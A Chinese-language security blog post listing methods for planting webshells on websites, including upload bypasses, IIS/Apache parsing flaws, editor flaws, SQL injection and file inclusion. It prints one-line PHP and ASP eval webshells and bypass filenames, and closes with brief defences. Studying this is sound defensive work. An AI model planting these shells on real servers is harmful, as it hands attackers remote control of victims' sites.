网络空间安全(37)获取webshell方法总结
一、直接上传获取Webshell
这是最常见且直接的方法,利用网站对上传文件的过滤不严或存在漏洞,直接上传Webshell文件。
常见场景:
许多PHP和JSP程序存在此类漏洞。例如,一些论坛系统允许用户上传头像或心情图标,攻击者可以将Webshell伪装成这些文件类型进行上传。
示例:
①PHP系统:在允许上传图片或头像的地方,将Webshell代码嵌入图片中(如使用GIF图片作为载体,将Webshell代码写在图片文件的注释部分),然后上传。
②JSP系统:直接上传JSP格式的Webshell文件,利用系统对文件类型检测不严的漏洞。
二、添加或修改上传类型
许多脚本程序的上传模块允许用户添加上传类型,攻击者可以通过修改上传类型来绕过限制,上传Webshell。
操作方式:
①在后台管理界面中,找到上传类型设置选项。添加允许上传的文件类型,如
.asa、.asp、.php.gif等。②由于某些服务器或脚本解析引擎对文件后缀的解析存在漏洞,这些看似非可执行的文件类型实际上可以被当作脚本执行。
示例:
①在某些论坛系统的后台,添加
.asa类型,然后上传.asa后缀的Webshell文件。②利用PHP的特性,上传
.php.gif文件,由于PHP会忽略点号后的内容,将其作为PHP脚本执行。
三、利用后台管理功能写入Webshell
进入网站后台后,通过修改配置文件或利用后台的某些功能,将Webshell代码写入服务器。
常见方法:
①修改配置文件:在后台找到网站配置文件(如
config.php、web.config等),直接插入Webshell代码。②利用友情链接等功能:某些系统允许用户添加友情链接,攻击者可以在链接名称或URL中写入Webshell代码。
示例:
1.在某论坛系统的后台,找到友情链接管理界面,添加一个新的友情链接,在链接名称处写入Webshell代码。
2.修改网站配置文件,如
config.php,在其中插入<?php eval($_POST['cmd']); ?>等代码。
四、利用后台数据库备份及恢复功能
许多网站后台提供数据库备份和恢复功能,攻击者可以通过该功能将Webshell代码写入数据库备份文件,然后恢复为Webshell文件。
操作步骤:
①上传一张包含Webshell代码的图片或文件。
②在后台数据库备份功能中,将上传的文件备份为可执行的脚本文件(如
.asp、.php)。③通过恢复备份文件,将Webshell部署到服务器上。
示例:
1.在某CMS系统的后台,上传一张包含
<% eval request("cmd") %>代码的JPG图片。2.在数据库备份功能中,将该图片备份为
shell.asp文件。3.通过恢复备份,将
shell.asp文件部署到网站根目录。
五、利用解析漏洞
某些服务器或脚本解析引擎对文件后缀的解析存在漏洞,攻击者可以利用这些漏洞将非可执行文件类型解析为可执行脚本。
常见漏洞:
1.IIS解析漏洞:IIS服务器在某些情况下,会将
.asp;jpg后缀的文件解析为ASP脚本。2.Apache解析漏洞:Apache服务器在解析PHP文件时,如果文件名中包含.php.,会将其后的内容忽略,只解析.php部分。示例:
1.利用IIS解析漏洞,上传
shell.asp;jpg文件,服务器会将其解析为shell.asp并执行。2.利用Apache解析漏洞,上传
info.php.jpg文件,服务器会将其解析为info.php并执行。
六、利用编辑器漏洞
许多网站在编辑界面使用了存在已知漏洞的编辑器,攻击者可以利用这些漏洞直接上传Webshell或配合解析漏洞进行攻击。
常见编辑器漏洞:
- FCKeditor漏洞:允许用户上传任意类型的文件,并通过修改文件后缀绕过限制。
- ewebeditor漏洞:存在文件上传类型绕过漏洞,允许上传非法的文件类型。
示例:
- 在使用FCKeditor的网站编辑界面中,上传一个
.php后缀的文件,并通过修改文件后缀为.jpg绕过限制。- 利用ewebeditor的漏洞,上传一个包含Webshell代码的
.asp文件。
七、修改网站模板或脚本文件
攻击者可以通过修改网站模板或脚本文件,将Webshell代码嵌入其中,当页面被访问时,Webshell代码被执行。
常见方法:
1.修改模板文件:找到网站使用的模板文件(如
.html、.asp、.php等),插入Webshell代码。2.修改脚本文件:在网站的脚本文件(如登录脚本、注册脚本等)中插入Webshell代码。
示例:
1.在某CMS系统的模板文件中,插入
<% eval request("cmd") %>代码。2.修改网站的登录脚本文件,在登录成功后执行的代码中插入Webshell代码。
八、利用SQL注入写入Webshell
如果网站存在SQL注入漏洞,攻击者可以通过注入SQL语句,将Webshell代码写入数据库,然后利用数据库导出功能或文件包含漏洞将Webshell部署到服务器上。
操作步骤:
①利用SQL注入漏洞,获取数据库的管理权限。
②通过SQL语句,将Webshell代码写入数据库的某个表中。
③利用数据库导出功能或文件包含漏洞,将Webshell代码导出为文件并执行。
示例:
1.在存在SQL注入漏洞的网站中,注入
INSERT INTO users (username, password) VALUES ('admin', '<?php eval($_POST['cmd']); ?>')语句,将Webshell代码写入users表。2.通过某种方式(如文件包含漏洞)访问该记录,触发Webshell代码的执行。
九、文件包含漏洞
某些网站存在文件包含漏洞,攻击者可以利用该漏洞,上传一个包含Webshell代码的文本文件(如
.txt),然后通过文件包含功能执行其中的代码。常见漏洞:
①本地文件包含:允许包含服务器上的任意文件。
②远程文件包含:允许包含远程服务器上的文件。
示例:
1.在存在本地文件包含漏洞的网站中,上传一个包含
<?php eval($_POST['cmd']); ?>代码的shell.txt文件。2.通过文件包含功能访问
shell.txt文件,触发Webshell代码的执行。
十、其他高级方法
1.0day漏洞:指尚未被公开披露的软件漏洞,攻击者可以利用这些漏洞直接获取服务器的控制权。
2.社会工程学攻击:通过欺骗、诱导等手段,获取目标系统的访问权限或敏感信息,进而获取Webshell。
防范措施:
1.加强文件上传管理:严格限制上传文件的类型,对上传的文件进行严格的安全检测。
2.修复已知漏洞:定期更新网站软件和插件,及时修复已知的安全漏洞。
3.配置防火墙和入侵检测系统:配置防火墙规则,限制对敏感端口的访问;部署入侵检测系统,及时发现并阻止可疑的攻击行为。
4.定期备份数据:定期备份网站数据和配置文件,以便在遭受攻击时能够快速恢复。
5.加强权限管理:对网站文件和目录设置合理的权限,限制用户对敏感文件和目录的访问。
结语
不要只想努力成为一个成功的人
更要努力成为一个有价值的人
!!!

相关文章:
网络空间安全(37)获取webshell方法总结
一、直接上传获取Webshell 这是最常见且直接的方法,利用网站对上传文件的过滤不严或存在漏洞,直接上传Webshell文件。 常见场景: 许多PHP和JSP程序存在此类漏洞。例如,一些论坛系统允许用户上传头像或心情图标,攻击者可…...
第十三次CCF-CSP认证(含C++源码)
第十三次CCF-CSP认证 跳一跳满分题解 碰撞的小球满分题解遇到的问题 棋局评估满分题解 跳一跳 题目链接 满分题解 没什么好说的 基本思路就是如何用代码翻译题目所给的一些限制,以及变量应该如何更新,没像往常一样给一个n,怎么读入数据&…...
【Agent】OpenManus-Prompt组件详细分析
1. 提示词架构概述 OpenManus 的提示词组件采用了模块化设计,为不同类型的智能体提供专门的提示词模板。每个提示词模块通常包含两种核心提示词:系统提示词(System Prompt)和下一步提示词(Next Step Prompt࿰…...
swagger ui 界面清除登录信息的办法
我们在开发过程中,用swagger ui 测试接口的时候,可能会要修改当前登录的用户。 但是如果我们在谷歌中对调试的本地swagger ui 登录地址存储过账户密码,每次启动项目调试之后,都会自动登录swagger ui ,登录界面一闪就…...
TensorFlow 的基本概念和使用场景
TensorFlow 是一个由 Google 开发的开源机器学习框架,主要用于构建和训练深度学习模型。下面是一些 TensorFlow 的基本概念和使用场景: 基本概念: 张量(Tensor):在 TensorFlow 中,数据以张量的…...
基于x11vnc的ubuntu远程桌面
1、安装VNC服务 sudo apt install x11vnc -y2、创建连接密码 sudo x11vnc -storepasswd3、安装lightdm服务 x11vnc 在 默认的 GDM3 中不起作用,因此需要使用 lightdm 桌面管理环境 sudo apt install lightdm -y切换至lightdm,上一步已经切换则跳过该…...
Cursor解锁Claude Max,助力AI编程新突破!
Cursor 最新推出的 Claude Max 模型,以其卓越的性能和创新的能力,正在重新定义我们对 AI 辅助编程的认知。这款搭载 Claude3.7 大脑的超级模型,不仅具备超强智能,还凭借一系列技术突破,向传统 AI 编程工具发起了挑战。…...
created在vue3 script setup中的写法
在 Vue 2 里,created 是一个生命周期钩子函数,会在实例已经创建完成之后被调用,主要用于在实例初始化之后、数据观测和 event/watcher 事件配置之前执行代码。而在 Vue 3 的 <script setup> 语法糖里,不再有像 Vue 2 那样直…...
GenICam标准
GenICam的目标是为所有类型的相机提供一个统一的编程接口。无论相机使用的是哪种传输协议或实现了哪些功能,编程接口(API)都是一样的。 GenICam(Generic Interface for Cameras)是一个为工业相机和图像采集设备设计的…...
ESP8266 与 ARM7 接口-LPC2148 创建 Web 服务器以控制 LED
ESP8266 与 ARM7 接口-LPC2148 创建 Web 服务器以控制 LED ESP8266 Wi-Fi 收发器提供了一种将微控制器连接到网络的方法。它被广泛用于物联网项目,因为它便宜、体积小且易于使用。 在本教程中,我们将 ESP8266 Wi-Fi 模块与 ARM7-LPC2148 微控制器连接,并创建一个 Web 服务…...
智享三代 AI 无人直播系统:颠覆传统,重塑直播新格局
在当今数字化浪潮席卷全球的时代,直播行业作为互联网经济的重要组成部分,正以前所未有的速度蓬勃发展。从最初的娱乐直播兴起,到如今电商直播、知识付费直播等多元业态百花齐放,直播已然成为人们生活和商业活动中不可或缺的一环。…...
通过C#脚本更改材质球的参数
// 设置贴图Texture mTexture Resources.Load("myTexture", typeof(Texture )) as Texture;material.SetTexture("_MainTex", mTexture );// 设置整数material.SetInt("_Int", 1);// 设置浮点material.SetFloat("_Float", 0.1f);// 设…...
FPGA管脚约束
目录 前言 一、IO约束 二、延迟约束 前言 IO约束包括管脚约束和延迟约束。 一、IO约束 对管脚进行约束,对应的约束语句: set_property -dict {PACKAGE_PIN AJ16 IOSTANDARD LVCMOS18} [get_ports "led[0]" ] 上面是单端的管脚&…...
已在此计算机上安装相同或更高版本的 .NET Framework 4”安装报错问题
安裝低版本的 .netFramework會被拒絕 需要做兩件事 1,允許windows安裝低版本的.net framework “已在此计算机上安装相同或更高版本的 .NET Framework 4”安装报错问题-CSDN博客 2,設置完成後重新安裝低版本的 .net framework,要用對應開發版本的 Win10 电脑安…...
如何判断 MSF 的 Payload 是 Staged 还是 Stageless(含 Meterpreter 与普通 Shell 对比)
在渗透测试领域,Metasploit Framework(MSF)的 msfvenom 工具是生成 Payload(载荷)的核心利器。然而,当我们选择 Payload 时,经常会遇到一个问题:这个 Payload 是 Staged(…...
【万字总结】前端全方位性能优化指南(一)——Brotli压缩、CDN智能分发、资源合并
前言 2025年前端技术前沿呈现三大核心趋势:AI深度赋能开发全流程,智能工具如GitHub Copilot X和Cursor实现代码生成、实时协作与自动化审查,开发效率提升3倍以上;性能与架构革新,WebAssembly 2.0支持多线程与Rust内存优化,边缘计算将渲染延迟压至50ms内,微前端Module …...
二.使用ffmpeg对原始音频数据重采样并进行AAC编码
重采样:将音频三元组【采样率 采样格式 通道数】之中的任何一个或者多个值改变。 一.为什么要进行重采样? 1.原始音频数据和编码器的数据格式不一致 2.播放器要求的和获取的数据不一致 3.方便运算 二.本次编码流程 1.了解自己本机麦克风参数&#x…...
实现前端.ttf字体包的压缩
前言 平常字体包都有1M的大小,所以网络请求耗时会比较长,所以对字体包的压缩也是前端优化的一个点。但是前端如果想要特点字符打包成字体包,网上查阅资料后,都是把前端代码里面的字符获取,但是对于动态的内容…...
uni-app集成保利威直播、点播SDK经验FQ(二)|小程序直播/APP直播开发适用
通过uniapp集成保利威直播、点播SDK来开发小程序/APP的视频直播能力,在实际开发中可能会遇到的疑问和解决方案,下篇。更多疑问请咨询19924784795。 1.ios不能后台挂起uniapp插件 ios端使用后台音频播放和画中画功能,没有在 manifest.json 进…...
Spring Framework 中 BeanDefinition 是什么
BeanDefinition 是 Spring Framework 中一个核心的接口,它描述了一个 Bean 的定义。你可以把它看作是 Spring IoC 容器中 Bean 的“蓝图”或“配置元数据”。它包含了 Spring 容器创建、配置和管理 Bean 所需的所有信息。 BeanDefinition 中包含的信息:…...
Sensodrive机器人力控关节模组SensoJoint在海洋垃圾清理机器人中的拓展应用
海洋污染已成为全球性的环境挑战,其中海底垃圾的清理尤为困难。据研究,海洋中约有2600万至6600万吨垃圾,超过90%沉积在海底。传统上,潜水员收集海底垃圾不仅成本高昂,而且充满风险。为解决这一问题,欧盟资助…...
MyBatis 配置文件解析使用了哪些设计模式
MyBatis 配置文件解析过程中,主要运用了以下几种设计模式 1. 建造者模式 (Builder Pattern): 应用场景: SqlSessionFactoryBuilder 和 XMLConfigBuilder 类都体现了建造者模式。模式描述: 建造者模式将一个复杂对象的构建过程与其表示分离,使得同样的构…...
sentinel限流算法
限流算法:固定窗口算法、滑动时间窗口、令牌桶和漏桶这四种常见限流算法的原理: 限流算法原理 固定窗口: 固定窗口算法将时间划分为固定大小的窗口,并在每个窗口内限制请求的数量。在每个窗口开始时,计数器重置&#…...
Git的基本指令
一、回滚 1.git init 在项目文件夹中打开bash生成一个.git的子目录,产生一个仓库 2.git status 查看当前目录下的所有文件的状态 3.git add . 将该目录下的所有文件提交到暂存区 4.git add 文件名 将该目录下的指定文件提交到暂存区 5.git commit -m 备注信…...
github上传本地文件到远程仓库(空仓库/已有文件的仓库)
今天搞自己本地训练的代码到仓库留个档,结果遇到了好多问题,到腾了半天才搞明白整个过程,留在这里记录一下。 远程空仓库 主要根据官方教程:Adding locally hosted code to GitHub - GitHub Docs #1. cd到你需要上传的文件夹&a…...
Git 分支使用规范全解(多人协作开发适用)
🚀 Git 分支使用规范全解(多人协作开发适用) 本文将为你梳理一套清晰、标准、适合企业/团队使用的 Git 分支管理策略,适用于前后端、边缘端、AI项目等多种场景。 🧩 为什么要规范分支管理? 防止多人协作混乱、冲突频发清晰区分:开发中 / 待发布 / 已上线 的版本快速定…...
Vitis 2024.1 无法正常编译custom ip的bug(因为Makefile里的wildcard)
现象:如果在vivado中,添加了自己的custom IP,比如AXI4 IP,那么在Vitis(2024.1)编译导出的原本的.xsa的时候,会构建build失败。报错代码是: "Compiling blank_test_ip..."…...
Elasticsearch 在航空行业:数据管理的游戏规则改变者
作者:来自 Elastic Adam La Roche 数字化客户体验不再是奢侈品,而是欧洲航空公司必不可少的需求。它推动了客户满意度,提升了运营效率,并创造了可持续的竞争优势。随着行业的不断发展,优先投资前沿数字技术和平台的航空…...
Centos编译升级libcurl
Centos编译升级libcurl 下载最新版源码包安装编译依赖配置编译选项如果报错:通过 EPEL 仓库安装手动源码编译安装 如果报错:安装Brotli 开发库 如果报错:方法一:安装 libpsl-devel 依赖通过 EPEL 仓库安装重新运行 configure 方…...
DeepSeek 模型的成本效益深度解析:低成本、高性能的AI新选择
网罗开发 (小红书、快手、视频号同名) 大家好,我是 展菲,目前在上市企业从事人工智能项目研发管理工作,平时热衷于分享各种编程领域的软硬技能知识以及前沿技术,包括iOS、前端、Harmony OS、Java、Python等…...
